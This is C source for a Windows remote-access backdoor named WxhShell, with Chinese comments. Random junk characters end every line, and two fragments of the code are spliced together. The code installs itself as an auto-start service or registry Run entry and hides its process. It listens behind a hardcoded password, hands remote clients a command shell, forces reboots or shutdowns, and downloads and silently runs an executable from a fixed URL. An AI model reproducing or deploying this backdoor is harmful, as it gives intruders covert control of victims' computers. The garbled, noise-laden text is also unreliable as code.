  // 关机 $Z6D:"K  
  case 'd': { .h8M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \qq-smcM-  
    if(Boot(SHUTDOWN)) k|j:T[_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OgMI  
    else { +VOb  
    closesocket(wsh); *\q8BZ  
    ExitThread(0); rg)h 5G  
    } AzjMv6N   
    break; h}6_ybmZ  
    } tgN92Q.i6T  
  // 获取shell "iek,Y}j7  
  case 's': { Z3;=w%W  
    CmdShell(wsh); j jY{Uq  
    closesocket(wsh); <94WZ?{p  
    ExitThread(0); |5ONFd e"0  
    break; FdxsU DL  
  } [x_s/"Md;  
  // 退出 g!^J,e=  
  case 'x': { Oxa5Kfpa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); el*9 Ih  
    CloseIt(wsh); TzF0/T!  
    break; *.8:'F  
    } P(_(w 9  
  // 离开 2Ow<`[7  
  case 'q': { M&e8zS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EAyukM2  
    closesocket(wsh); q$>_WF#||  
    WSACleanup(); )%#?3X^sI  
    exit(1); ;&mxqY8`'  
    break; ZNy9_a:dX  
        } I9/KM4&  
  } u}CG>^0C  
  } <Kp+&(l,l  
8p,>y(o  
  // 提示信息 B1,?{Ur  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 32y[  
} M,G8*HI"  
  } ` ,-STIh)  
Oga1u  
  return; ,\>g  
} n)CH^WHL&  
88YC0!Ni  
// shell模块句柄 'FxYMSZS$  
int CmdShell(SOCKET sock) BvJ\x)  
{ I}%mfojC  
STARTUPINFO si; }K;iJ~kD1  
ZeroMemory(&si,sizeof(si)); L8D m9}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3N3*`?5c<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nuq(4Yf1W  
PROCESS_INFORMATION ProcessInfo; zKMv7;s?  
char cmdline[]="cmd"; hU+#S(t>b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p XNtN5@FQ  
  return 0; Xv&%2-V;  
} Di])<V  
j]Ua\|t  
// 自身启动模式 cf&C|U  
int StartFromService(void) <G}m#  
{ .S(^roM;+  
typedef struct 2D_6  
{ ZR2\ dH*  
  DWORD ExitStatus; l3\9S#3-^  
  DWORD PebBaseAddress; I*9Gb$]=  
  DWORD AffinityMask; BiE$mM  
  DWORD BasePriority; #4lHaFq  
  ULONG UniqueProcessId; P;>!wU~*  
  ULONG InheritedFromUniqueProcessId; ]%||KC!O  
}   PROCESS_BASIC_INFORMATION; !8Y3V/)NU  
(E IRz>  
PROCNTQSIP NtQueryInformationProcess; _rG-#BKW8L  
3U>S]#5}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wH!}qz /  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Iw*C*%}[Z  
A` =]RJ  
  HANDLE             hProcess; 4a1BGNI%SW  
  PROCESS_BASIC_INFORMATION pbi; v$Dh.y  
^X$ I=ro  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wNbTM.@  
  if(NULL == hInst ) return 0; P2|}*h5(  
g\qX7nIH?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jigbeHRy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y]MWd#U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [ns&Y0Y`t  
_3I3AG0e  
  if (!NtQueryInformationProcess) return 0; @X|ok*v`  
<BQ%8}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %{Xm5#m  
  if(!hProcess) return 0; Lq%[A*`^  
65uZ LsQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -z&9 DWH  
83B\+]{hD  
  CloseHandle(hProcess); v  F]  
rrbZ+*U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Re7{[*Q4  
if(hProcess==NULL) return 0; +6uOg,;  
}@3$)L%n_u  
HMODULE hMod; +OKA_b"wB  
char procName[255]; 1RmBtx\<  
unsigned long cbNeeded; dPRtN@3  
z=u~]:.1O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^NcTWbs-T  
l;XUh9RF`A  
  CloseHandle(hProcess); FU^Y{sbDg  
/Ql6]8.P  
if(strstr(procName,"services")) return 1; // 以服务启动 "[Yip5  
1o(+rR<h9  
  return 0; // 注册表启动 ,I("x2  
} bL+sN"Km  
NuHL5C?To  
// 主模块 LZbRQ"!!o  
int StartWxhshell(LPSTR lpCmdLine) w"yK\OE  
{ NT'Ie]|  
  SOCKET wsl; Dy98[cL  
BOOL val=TRUE; 0qOM78rE  
  int port=0; b$IY2W<Ln  
  struct sockaddr_in door; UnJi& ~O  
Ua}g  
  if(wscfg.ws_autoins) Install(); K@I+]5E%?  
#@IQlqJfY7  
port=atoi(lpCmdLine); n (9F:N  
Lqg7D\7j  
if(port<=0) port=wscfg.ws_port; w6%l8+{R  
5/*)+  
  WSADATA data;  <Wp`[S]r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9Y;}JVS  
<?{ SU   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G1,Ro1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q=T<^Tk#e  
  door.sin_family = AF_INET;  GE{8I<7c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); % E<FB;h  
  door.sin_port = htons(port); 3L%Y"4(mm  
w;@`Yi.WQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { goG] WGVr  
closesocket(wsl); bDxPgb7N=  
return 1; fN~8L}!l  
} Vx0MG{vG1  
ER0TY,  
  if(listen(wsl,2) == INVALID_SOCKET) { }Ox2olUX  
closesocket(wsl); ':5U&  
return 1; xKRfl1  
} ZKVp[A  
  Wxhshell(wsl); [I#Q  
  WSACleanup(); ;""-[4C  
J+-,^8)  
return 0; +3(CGNE  
6,sRavs  
} <h)deB+}  
G:H(IA7Z  
// 以NT服务方式启动 <e@I1iL37y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ly@U\%.  
{ MZgmv  
DWORD   status = 0; ,Gf+U7'K  
  DWORD   specificError = 0xfffffff; I$rW[l2  
"i;*\+x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j(wY/Hl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "Wzij&WkQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z3&XTsq  
  serviceStatus.dwWin32ExitCode     = 0; T#ecLD#  
  serviceStatus.dwServiceSpecificExitCode = 0; 2d,wrC<'$  
  serviceStatus.dwCheckPoint       = 0; Ktj(&/~}  
  serviceStatus.dwWaitHint       = 0; T1Ln)CS?9  
1KfJl S+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -Hl\j (D7  
  if (hServiceStatusHandle==0) return; pZNlcB[Qn-  
9 &?tQ"@x  
status = GetLastError(); KyVe0>{_u  
  if (status!=NO_ERROR) &@Ji+  
{ 6'3Ey'drH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6EW"8RG`  
    serviceStatus.dwCheckPoint       = 0; >B|ofwm*  
    serviceStatus.dwWaitHint       = 0; ulJ+:zwq$  
    serviceStatus.dwWin32ExitCode     = status; / r`Y'rm  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZVCv(J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y0W`E/1t  
    return; ?Vb=4B{~  
  } ^^U)WB  
@DjG? yLK$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YQlpk@X`2  
  serviceStatus.dwCheckPoint       = 0; )[a?J,  
  serviceStatus.dwWaitHint       = 0; M $E8:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *;~{_Disz  
} ^+YGSg7  
^+.e5roBKj  
// 处理NT服务事件,比如:启动、停止 yDl5t-0`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) av$\@4I  
{ #dXZA>b9  
switch(fdwControl)  @=^jpSnZ  
{ vCrWA-q#  
case SERVICE_CONTROL_STOP: vM$#m1L?  
  serviceStatus.dwWin32ExitCode = 0; LQuYCfj|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o>!~*b';g,  
  serviceStatus.dwCheckPoint   = 0; 9 ;! uV>-H  
  serviceStatus.dwWaitHint     = 0; pD)/- Dgdm  
  { W"DxIy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s`dkEaS  
  } w^vK7Z 1$  
  return; 0o\=0bH&s  
case SERVICE_CONTROL_PAUSE: *8(t y%5F0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a-o hS=W  
  break; 2gNBPd)I  
case SERVICE_CONTROL_CONTINUE: iz$v8;w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~=aI2(b  
  break; s;=J'x)~%  
case SERVICE_CONTROL_INTERROGATE: G=0}IPfp  
  break; n Y.Umj  
}; pNk,jeo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ce-m)o/  
} !3gpiQH{  
|Cxip&e>  
// 标准应用程序主函数 +=lcN~U2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y=#mx3.  
{ %[31ZFYB  
E,nYtn|B  
// 获取操作系统版本 uc{Qhw!;:  
OsIsNt=GetOsVer(); 7kew/8-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }@t'rK[  
i(TDJ@}  
  // 从命令行安装 tI6USN%  
  if(strpbrk(lpCmdLine,"iI")) Install();  s`{#[&[  
{mq$W  
  // 下载执行文件 )l81R  
if(wscfg.ws_downexe) { 2+hfbFu,1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J0Rz.=Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); ps4Wwk(  
} 4 w/t$lR  
% /wP2O<  
if(!OsIsNt) { 0zk T8'v  
// 如果时win9x,隐藏进程并且设置为注册表启动 -p]`(S%  
HideProc(); vo^9qSX f  
StartWxhshell(lpCmdLine); "Ezr-4  
} 5d>YE  
else 3C5D~9v  
  if(StartFromService()) sfBjA  
  // 以服务方式启动 t.i9!'Y ]  
  StartServiceCtrlDispatcher(DispatchTable); [n@!=T  
else |<o>$;mZ  
  // 普通方式启动 8;dbU*  
  StartWxhshell(lpCmdLine); \/e*quxx  
I@3c QxI  
return 0; 8Nl|\3nl-  
} J7aK3 he  
^_"q`71Dk  
hSf#;=9'  
d$C|hT  
=========================================== B7QtB3bn  
s9Q)6=mE  
%BP)m(S7  
OrqJo!FEg{  
2$/gg"g+  
`EW_pwZPA  
" {83He@  
1*Fvx-U'  
#include <stdio.h> X +  
#include <string.h> pkMON}"mj  
#include <windows.h> I3y4O^?  
#include <winsock2.h> b "3T(#2<*  
#include <winsvc.h> $5 p'+bE  
#include <urlmon.h> oVZ8p-  
@nW(KF  
#pragma comment (lib, "Ws2_32.lib") ~k< 31 ez  
#pragma comment (lib, "urlmon.lib") E)Epr&9S  
WoT z'  
#define MAX_USER   100 // 最大客户端连接数 g5YsV p  
#define BUF_SOCK   200 // sock buffer _WkcJe`  
#define KEY_BUFF   255 // 输入 buffer 7Mb t*[n  
9;WOqBD  
#define REBOOT     0   // 重启 :FgRe,D  
#define SHUTDOWN   1   // 关机 ,0u0 '  
R~?;KJ  
#define DEF_PORT   5000 // 监听端口 CjukD%>sde  
oL/^[TXjH  
#define REG_LEN     16   // 注册表键长度 XjM)/-w  
#define SVC_LEN     80   // NT服务名长度 X;a{JjN  
rH_:7#.E  
// 从dll定义API uEO2,1+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2n r UE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H_r'q9@<>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h[)aRo  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4 ~|TKd{  
.6A:t? .  
// wxhshell配置信息 Pj5#G0i%  
struct WSCFG { w0`L)f5v  
  int ws_port;         // 监听端口 Pw0KQUs  
  char ws_passstr[REG_LEN]; // 口令 hb\Y)HSp/  
  int ws_autoins;       // 安装标记, 1=yes 0=no g.sV$.T2K  
  char ws_regname[REG_LEN]; // 注册表键名 ^XB8A=xi  
  char ws_svcname[REG_LEN]; // 服务名 Zkep7L   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :[rKSA]@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x!Y@31!Dy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @ tp7tB ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8`?j*FV7kq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &1C9K>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )h!l%72  
Yt<PKs#E  
}; Y>m=cqR  
l,2z5p  
// default Wxhshell configuration V.[#$ip6:  
struct WSCFG wscfg={DEF_PORT, '{*>hj5.8  
    "xuhuanlingzhe", ]6[d-$#^ko  
    1, y!D`.'  
    "Wxhshell", -"tgEC\tD  
    "Wxhshell", <;Z3 5 {  
            "WxhShell Service", %>U*A  
    "Wrsky Windows CmdShell Service", hCoL j6Vx  
    "Please Input Your Password: ", M HB]'  
  1, qxr&_r  
  "http://www.wrsky.com/wxhshell.exe", `ha:Gf  
  "Wxhshell.exe" ,5"]K'Vce  
    }; ti2_kYq  
UN4) >\Y  
// 消息定义模块 y$Noo)Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %4KJ&R (>[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e%Xf*64  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T1di$8  
char *msg_ws_ext="\n\rExit."; EKw\a  
char *msg_ws_end="\n\rQuit."; ll09j Ef  
char *msg_ws_boot="\n\rReboot..."; lH>XIEj  
char *msg_ws_poff="\n\rShutdown..."; 6N)1/=)  
char *msg_ws_down="\n\rSave to "; :P1c>:j[  
meD (ja  
char *msg_ws_err="\n\rErr!"; `v{X@x  
char *msg_ws_ok="\n\rOK!"; i */U.'#  
OYy !4Fp  
char ExeFile[MAX_PATH]; 'U0I.x(  
int nUser = 0; ng*E9Puu[  
HANDLE handles[MAX_USER]; A:J{  
int OsIsNt; Y--8v#t  
kw}1CXD  
SERVICE_STATUS       serviceStatus; 4^^rOi0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jch8d(`?d  
eV%bJkt.  
// 函数声明 Y6PA\7Y\  
int Install(void); ghj~r  
int Uninstall(void); \8aF(Y^H  
int DownloadFile(char *sURL, SOCKET wsh); nv{4 U}&P  
int Boot(int flag); x7@HPf  
void HideProc(void); ?zu{&aOX|  
int GetOsVer(void); 28yxX431S  
int Wxhshell(SOCKET wsl); a$O]'}]`  
void TalkWithClient(void *cs); {\zr_v`g  
int CmdShell(SOCKET sock); 9iNns;^`q  
int StartFromService(void); ;O11)u?/s|  
int StartWxhshell(LPSTR lpCmdLine); u.FDe2|[)  
3:#rFb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r2'rf pQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n"Vd"}sU.  
T$;XJx  
// 数据结构和表定义 Q0_W<+`  
SERVICE_TABLE_ENTRY DispatchTable[] = IW_D$pq  
{ 4,DsB'  
{wscfg.ws_svcname, NTServiceMain}, N+75wtLy&  
{NULL, NULL} &/?jMyD@  
}; !l^AKn|  
~m U_ `o  
// 自我安装 rv%[?Ml  
int Install(void) 2f4c;YS  
{ lHqx}n@e  
  char svExeFile[MAX_PATH]; 74(J7  
  HKEY key; 1iDo$]TEK  
  strcpy(svExeFile,ExeFile); Af<>O$$6  
W10fjMC}^  
// 如果是win9x系统,修改注册表设为自启动 d]`,}vi#E9  
if(!OsIsNt) { J,Ap9HJt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;P~S/j[ 8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); - S-1<xR  
  RegCloseKey(key); S>E.*]_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ '*BS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3Q)>gh*  
  RegCloseKey(key); nWu4HFi  
  return 0; ]l%.X7M9  
    } j@!}r|-T  
  } A,)ELVk1F  
} -`EoTXT*U  
else { cvfAa#tq>  
e8bJ]  
// 如果是NT以上系统,安装为系统服务 p]eD@3Wz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V+z)B+  
if (schSCManager!=0) AoeW<}MO  
{ &N0|tn  
  SC_HANDLE schService = CreateService v{ Ve sf  
  ( ,ua1xsZl&  
  schSCManager, 7`!( 8  
  wscfg.ws_svcname, qKC*j DW  
  wscfg.ws_svcdisp, $t}1|q|  
  SERVICE_ALL_ACCESS, ,[ L$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7bS[\5  
  SERVICE_AUTO_START, %m3efaC  
  SERVICE_ERROR_NORMAL, p> S/6 [X  
  svExeFile, "|SE#k  
  NULL, Z+(V \  
  NULL, xltu g##  
  NULL, x~eEaD5m%J  
  NULL, $uhDBmb  
  NULL zK?[dO  
  ); p04+"  
  if (schService!=0) "cM5=;  
  { G - WJlu  
  CloseServiceHandle(schService); I_7EfAqg(  
  CloseServiceHandle(schSCManager); It-*CD9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LP /4e`  
  strcat(svExeFile,wscfg.ws_svcname); fM.|#eLi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A!yLwkc:5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s#ZH.z@J  
  RegCloseKey(key); IOl"Xgn5  
  return 0; 7gcG|kKT  
    } 'O9=*L) X  
  } W^Y0>W~  
  CloseServiceHandle(schSCManager); G.TX1  
} "@$STptkc  
} ?UDO%`X  
)A=g# D#  
return 1; _<Yo2,1^  
} faX#KRpfd  
MX,0gap  
// 自我卸载 [bJnl>A  
int Uninstall(void) b%j:-^0V  
{ BwD1}1jp  
  HKEY key; P^W47 SO  
3=7h+ZgB  
if(!OsIsNt) { krc!BK`V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (=V[tI+Ngt  
  RegDeleteValue(key,wscfg.ws_regname); A8GlE  
  RegCloseKey(key); 3>v0W@C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b0 `9wn  
  RegDeleteValue(key,wscfg.ws_regname); %QLYNuG  
  RegCloseKey(key); Dj(7'jT  
  return 0; Pc== ]H(  
  } _1Gut"!{\  
} @8yFM%  
} p5VSSvV\K  
else { u_=y,~s  
kZ%W?#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %[m1\h"1  
if (schSCManager!=0) _!p3M3"$B  
{ ~1sl.8tF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z]\^.x9S  
  if (schService!=0) $uynW3h  
  { u6T?oK9j  
  if(DeleteService(schService)!=0) { % 6.jh#C  
  CloseServiceHandle(schService); U-<"i6mg ?  
  CloseServiceHandle(schSCManager); !5!$h` g  
  return 0; rxeXz<  
  } Nn1^#kc  
  CloseServiceHandle(schService); RGI6W{\  
  } F6VIH(  
  CloseServiceHandle(schSCManager); e/jM+%  
} rd4'y~#S  
} yt: V+qdv  
5>Yd\(`K  
return 1; gi@ji-10  
} o;_bs~}y  
N~_jiVD>  
// 从指定url下载文件 Cbs4`D,  
int DownloadFile(char *sURL, SOCKET wsh) _O9H. _E  
{ Y_hRL&u3W  
  HRESULT hr; ld:alEo  
char seps[]= "/"; ~ O=|v/]  
char *token; )^f Q@C8  
char *file; ~(^*?(Z  
char myURL[MAX_PATH]; G>>u#>0  
char myFILE[MAX_PATH]; =c^=Yvc7U  
)uuEOF"w  
strcpy(myURL,sURL); chzR4"WZFt  
  token=strtok(myURL,seps); D-:<]D:  
  while(token!=NULL) [=3tAPpzK  
  { pF+wH MhUe  
    file=token; w*}yw"gP*0  
  token=strtok(NULL,seps); [iy;}5XK  
  } ~c$ts&Cl  
4 xzJql  
GetCurrentDirectory(MAX_PATH,myFILE); r ;8z"*  
strcat(myFILE, "\\"); q'@Ei4  
strcat(myFILE, file); eE`1;13;  
  send(wsh,myFILE,strlen(myFILE),0); $: m87cR~  
send(wsh,"...",3,0); : ";D.{||  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ! H=k7s  
  if(hr==S_OK) .|`=mx  
return 0; g~:(EO(w  
else C-^%g [#  
return 1; Z1&GtM  
9Ru%E>el-  
} 9|A-oS  
ruA+1-<f  
// 系统电源模块 13_~)V  
int Boot(int flag) bRz^=  
{ -7z y  
  HANDLE hToken; *oX]=u&  
  TOKEN_PRIVILEGES tkp; pQ(eF0KG  
_Ge^ -7  
  if(OsIsNt) { 5=h'!|iY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1$D`Z/N"A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;s. 5\YZ"k  
    tkp.PrivilegeCount = 1; |aAWW d5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =C>`}%XT}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zQ %z "tQ  
if(flag==REBOOT) { U3+ _'"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <i\zfa'6  
  return 0; 'Mx K}9  
} nk|N.%E  
else { jl-Aos"/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JBEgiQ/  
  return 0; RR"W O  
} Y\Qxdq  
  } ])j|<W/  
  else { bZay/ Zkj  
if(flag==REBOOT) { Hu(flc+z"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A~GtK\=;  
  return 0; VFmg"^k5  
} 2*q: ^  
else { 3 [)s;e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K&IrTA j}  
  return 0; jw(> @SXz  
} 26#Jhb E+  
} ngY+Ym  
&*]{"^  
return 1; cov#Z ux  
} m{$tO;c/Q  
%3c|  
// win9x进程隐藏模块 :&0yf;>v  
void HideProc(void) :{i$2\DH6  
{ bqQO E4;  
^c0$pqZ}r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y.*=Ww+  
  if ( hKernel != NULL ) kuj1 2  
  { jFNs=D&(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '0_j{ig  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -Mi}yi  
    FreeLibrary(hKernel); *iRm`)zC(  
  } j #I:6yA3  
<A -(&+  
return; ;?L!1wklA  
} <[y$D=n  
$]H=  
// 获取操作系统版本 hLytKPgt  
int GetOsVer(void) k Kp6  
{ bxhg*A  
  OSVERSIONINFO winfo; y LgKS8b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2}Z4a\YX  
  GetVersionEx(&winfo); ',H$zA?i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 42J';\)oP  
  return 1; Y7kb1UG  
  else BU]WN7]D$  
  return 0; Y=:KM~2hv  
} o!=l B fI  
/y9J)lx  
// 客户端句柄模块 4Ay`rG  
int Wxhshell(SOCKET wsl) j.;  
{ fZ6 fV=HEF  
  SOCKET wsh; % L >#  
  struct sockaddr_in client; "0'*q<8  
  DWORD myID; \>Ga-gv6/  
/K,|k EE'n  
  while(nUser<MAX_USER) s !hI:$J.  
{ Cl t5  
  int nSize=sizeof(client); ||=[kjG~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wm$`ae   
  if(wsh==INVALID_SOCKET) return 1; 6@?aVM~  
5w,Z7I8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t8DL9RW'  
if(handles[nUser]==0) &>W  (l.  
  closesocket(wsh); fKT Dt%  
else xMNNXPz(  
  nUser++; vcw>v={x  
  } +dCDM1{_a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (aJP: ^  
:>P4L,Da]  
  return 0; 8Q^6ibE  
} +^4BO`   
5oU`[&=Ob  
// 关闭 socket 9|N" @0<B  
void CloseIt(SOCKET wsh) '_.q_Tf-^  
{ Qst \b8,  
closesocket(wsh); crJ7pe9  
nUser--; RGl=7^M  
ExitThread(0); qY$*#*Q  
} v@fe-T&0  
O}K_l1  
// 客户端请求句柄 -t@y\vZF,  
void TalkWithClient(void *cs) Q%& _On  
{ WxVn&c\  
':4}O#  
  SOCKET wsh=(SOCKET)cs; &o*s !u  
  char pwd[SVC_LEN]; &c!j`86y*  
  char cmd[KEY_BUFF]; j\`EUC  
char chr[1]; M&qh]v gC  
int i,j; =My}{n[  
&Y54QE".  
  while (nUser < MAX_USER) { 0%xR<<gir  
*L%6qxl`V  
if(wscfg.ws_passstr) { 7Wwp )D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  <+AIt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N5 SLF4R1  
  //ZeroMemory(pwd,KEY_BUFF); >~I xyQp  
      i=0; gppBFS  
  while(i<SVC_LEN) { AT B\^;n.  
Hp)X^O"  
  // 设置超时 n7IL7?!o  
  fd_set FdRead; [G{rHSK5tQ  
  struct timeval TimeOut; CM%|pB/z  
  FD_ZERO(&FdRead); r}/yi  
  FD_SET(wsh,&FdRead); V$/u  
  TimeOut.tv_sec=8; Em e'Gk  
  TimeOut.tv_usec=0; Sl3KpZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gb(C#,xbK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ Wit17j  
r]A" Og_U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }P<Qz^sr_  
  pwd=chr[0]; }>MP{67Dm  
  if(chr[0]==0xd || chr[0]==0xa) { )uQ-YC('0  
  pwd=0; (^sh  
  break; L`9TB"0R+  
  } l GdM80f  
  i++; ]2Sfkl0  
    } Guk.,}9  
N\9}\Rk@  
  // 如果是非法用户,关闭 socket 3iE-6udCS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^FP} qW~;9  
} 9$7&URwSDI  
Ts|--,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +kjzn]} f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9[cp7 Rcb  
fCgBH~w,9  
while(1) { eeuZUf+~]  
[Q4_WKI0T  
  ZeroMemory(cmd,KEY_BUFF); Q)09]hP[Xj  
j*uXB^ 4  
      // 自动支持客户端 telnet标准   )^4ko  
  j=0; ipG5l  
  while(j<KEY_BUFF) { x|]\1sb"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iM:yX=>a  
  cmd[j]=chr[0]; e8$l0gzaD  
  if(chr[0]==0xa || chr[0]==0xd) { drW~)6Lr@  
  cmd[j]=0; KK?Zm_  
  break; MaZM%W8Z  
  } exfm q  
  j++; i 3m3zXt  
    } `AWy!}8  
y Wpi|  
  // 下载文件 Lj}>Xy(7<  
  if(strstr(cmd,"http://")) { 7FAIew\r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  l B1#  
  if(DownloadFile(cmd,wsh)) p6`Pp"J_tr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Citzor  
  else Ls&+XlrX8  
